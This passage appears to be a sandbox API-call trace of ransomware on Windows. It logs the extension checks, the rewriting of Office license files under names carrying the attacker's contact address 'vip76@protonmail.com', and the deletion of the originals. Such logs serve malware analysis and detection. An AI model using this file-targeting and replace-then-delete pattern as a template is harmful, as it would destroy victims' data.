	[0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.719] lstrlenW (lpString=".zip") returned 4
	[0189.719] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString=".rar") returned 4
	[0189.719] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString=".bz2") returned 4
	[0189.719] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString=".7z") returned 3
	[0189.719] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.720] lstrlenW (lpString=".dbf") returned 4
	[0189.720] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.720] lstrlenW (lpString=".1cd") returned 4
	[0189.720] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.720] lstrlenW (lpString=".jpg") returned 4
	[0189.720] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.720] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.720] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30
	[0189.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0190.640] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11587) returned 1
	[0190.640] CloseHandle (hObject=0x5c4) returned 1
	[0190.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0190.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0190.641] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.641] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.642] GetLastError () returned 0x0
	[0190.642] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d43, lpOverlapped=0x0) returned 1
	[0190.647] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0190.648] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.649] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x110, lpOverlapped=0x0) returned 1
	[0190.649] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.649] CloseHandle (hObject=0x4ac) returned 1
	[0190.649] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.649] SetEndOfFile (hFile=0x5c4) returned 1
	[0190.652] CloseHandle (hObject=0x5c4) returned 1
	[0190.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0190.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.656] lstrlenW (lpString=".doc") returned 4
	[0190.656] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.656] lstrlenW (lpString=".docx") returned 5
	[0190.656] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.656] lstrlenW (lpString=".pdf") returned 4
	[0190.656] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.656] lstrlenW (lpString=".xls") returned 4
	[0190.656] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.656] lstrlenW (lpString=".xlsx") returned 5
	[0190.656] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.656] lstrlenW (lpString=".ppt") returned 4
	[0190.656] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.656] lstrlenW (lpString=".zip") returned 4
	[0190.657] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString=".rar") returned 4
	[0190.657] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString=".bz2") returned 4
	[0190.657] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString=".7z") returned 3
	[0190.657] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.657] lstrlenW (lpString=".dbf") returned 4
	[0190.657] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.657] lstrlenW (lpString=".1cd") returned 4
	[0190.657] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.657] lstrlenW (lpString=".jpg") returned 4
	[0190.657] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.657] lstrlenW (lpString=".doc") returned 4
	[0190.657] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString=".docx") returned 5
	[0190.657] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.657] lstrlenW (lpString=".pdf") returned 4
	[0190.657] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString=".xls") returned 4
	[0190.657] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.657] lstrlenW (lpString=".xlsx") returned 5
	[0190.657] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.658] lstrlenW (lpString=".ppt") returned 4
	[0190.658] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.658] lstrlenW (lpString=".zip") returned 4
	[0190.658] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.658] lstrlenW (lpString=".rar") returned 4
	[0190.658] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.658] lstrlenW (lpString=".bz2") returned 4
	[0190.658] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.658] lstrlenW (lpString=".7z") returned 3
	[0190.658] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.658] lstrlenW (lpString=".dbf") returned 4
	[0190.658] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.658] lstrlenW (lpString=".1cd") returned 4
	[0190.658] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0190.658] lstrlenW (lpString=".jpg") returned 4
	[0190.658] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.658] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.658] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23
	[0190.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0190.660] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11143) returned 1
	[0190.660] CloseHandle (hObject=0x5c4) returned 1
	[0190.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220
	[0190.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0190.661] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.661] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.661] GetLastError () returned 0x0
	[0190.661] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2b87, lpOverlapped=0x0) returned 1
	[0190.664] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0190.665] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.665] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x102, lpOverlapped=0x0) returned 1
	[0190.665] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.666] CloseHandle (hObject=0x4ac) returned 1
	[0190.666] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.666] SetEndOfFile (hFile=0x5c4) returned 1
	[0190.669] CloseHandle (hObject=0x5c4) returned 1
	[0190.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1
	[0190.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.671] lstrlenW (lpString=".doc") returned 4
	[0190.671] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString=".docx") returned 5
	[0190.671] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.671] lstrlenW (lpString=".pdf") returned 4
	[0190.671] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString=".xls") returned 4
	[0190.671] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString=".xlsx") returned 5
	[0190.671] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.671] lstrlenW (lpString=".ppt") returned 4
	[0190.671] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.671] lstrlenW (lpString=".zip") returned 4
	[0190.671] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString=".rar") returned 4
	[0190.671] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString=".bz2") returned 4
	[0190.671] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString=".7z") returned 3
	[0190.671] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.671] lstrlenW (lpString=".dbf") returned 4
	[0190.671] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.672] lstrlenW (lpString=".1cd") returned 4
	[0190.672] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.672] lstrlenW (lpString=".jpg") returned 4
	[0190.672] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.672] lstrlenW (lpString=".doc") returned 4
	[0190.672] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString=".docx") returned 5
	[0190.672] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.672] lstrlenW (lpString=".pdf") returned 4
	[0190.672] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString=".xls") returned 4
	[0190.672] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString=".xlsx") returned 5
	[0190.672] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.672] lstrlenW (lpString=".ppt") returned 4
	[0190.672] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.672] lstrlenW (lpString=".zip") returned 4
	[0190.672] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.672] lstrlenW (lpString=".rar") returned 4
	[0190.672] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.673] lstrlenW (lpString=".bz2") returned 4
	[0190.673] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.673] lstrlenW (lpString=".7z") returned 3
	[0190.673] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.673] lstrlenW (lpString=".dbf") returned 4
	[0190.673] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.673] lstrlenW (lpString=".1cd") returned 4
	[0190.673] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73
	[0190.673] lstrlenW (lpString=".jpg") returned 4
	[0190.673] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.673] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.673] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24
	[0190.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0190.674] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20901) returned 1
	[0190.674] CloseHandle (hObject=0x5c4) returned 1
	[0190.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220
	[0190.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0190.675] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.675] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.989] GetLastError () returned 0x0
	[0190.989] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x51a5, lpOverlapped=0x0) returned 1
	[0190.992] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0190.993] ReadFile (in: hFile=0x5c4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.993] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1
	[0190.993] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.994] CloseHandle (hObject=0x5ec) returned 1
	[0190.994] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.994] SetEndOfFile (hFile=0x5c4) returned 1
	[0190.997] CloseHandle (hObject=0x5c4) returned 1
	[0190.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1
	[0190.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.000] lstrlenW (lpString=".doc") returned 4
	[0191.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString=".docx") returned 5
	[0191.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.000] lstrlenW (lpString=".pdf") returned 4
	[0191.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString=".xls") returned 4
	[0191.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString=".xlsx") returned 5
	[0191.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.000] lstrlenW (lpString=".ppt") returned 4
	[0191.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.000] lstrlenW (lpString=".zip") returned 4
	[0191.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString=".rar") returned 4
	[0191.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString=".bz2") returned 4
	[0191.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString=".7z") returned 3
	[0191.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.000] lstrlenW (lpString=".dbf") returned 4
	[0191.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.000] lstrlenW (lpString=".1cd") returned 4
	[0191.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.000] lstrlenW (lpString=".jpg") returned 4
	[0191.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0191.001] lstrlenW (lpString=".doc") returned 4
	[0191.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
